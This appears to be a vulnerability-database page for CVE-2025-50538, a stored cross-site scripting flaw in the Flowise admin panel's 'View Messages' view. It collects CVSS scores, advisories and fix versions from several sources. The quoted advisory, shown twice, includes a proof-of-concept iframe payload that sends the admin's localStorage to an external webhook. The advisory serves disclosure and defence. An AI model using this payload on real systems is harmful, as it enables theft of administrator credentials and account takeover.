Every CVE Search/ Get API key

CVE-2025-50538

Duplicate Advisory: Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

8.2 HighFix available

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

14.7%Up 14.7 points since Oct 6, 2025
90%50%10%1%

What each source reports

CVE List Score used 8.2

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Record
CVE-2025-50538
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2025-32219 8.2

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Record
EUVD-2025-32219
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7rgr-72hp-9wp3 8.2

Duplicate Advisory: Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-964p-j4gg-mhwc. This link is maintained to preserve external references.

Original Description

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Record
GHSA-7rgr-72hp-9wp3
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
GitHub AdvisoriesGHSA-964p-j4gg-mhwc 9.3

Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.


Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.


PoC

  1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
  2. Send the following payload via the agent's chat interface:
    <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
    
  3. As an admin, go to the workflow and click "View Messages".
  4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

Impact

  • Type: Stored Cross-Site Scripting (XSS)
  • Who is impacted: Any admin viewing messages in the FlowiseAI UI
  • Data at risk: Admin credentials, or sensitive info stored in localStorage
  • Severity: High (Account takeover, admin privilege escalation, full panel compromise)

Affected Products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: < 2.2.7
  • Patched versions:1
Record
GHSA-964p-j4gg-mhwc
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 8.2

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Record
CVE-2025-50538
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 8.2

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Record
CVE-2025-50538
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-7rgr-72hp-9wp3 8.2

Duplicate Advisory: Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-964p-j4gg-mhwc. This link is maintained to preserve external references.

Original Description

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Record
GHSA-7rgr-72hp-9wp3
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-964p-j4gg-mhwc 9.3

Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.


Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.


PoC

  1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
  2. Send the following payload via the agent's chat interface:
    <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
    
  3. As an admin, go to the workflow and click "View Messages".
  4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

Impact

  • Type: Stored Cross-Site Scripting (XSS)
  • Who is impacted: Any admin viewing messages in the FlowiseAI UI
  • Data at risk: Admin credentials, or sensitive info stored in localStorage
  • Severity: High (Account takeover, admin privilege escalation, full panel compromise)

Affected Products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: < 2.2.7
  • Patched versions:1
Record
GHSA-964p-j4gg-mhwc
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
flowise
npm
before 3.0.8
3.0.8

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-50538 is a high vulnerability (CVSS 8.2) in Flowiseai Flowise, published October 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 14.7%, the 96th percentile. Fixed in flowise 3.0.8.

References

MoveEnter Open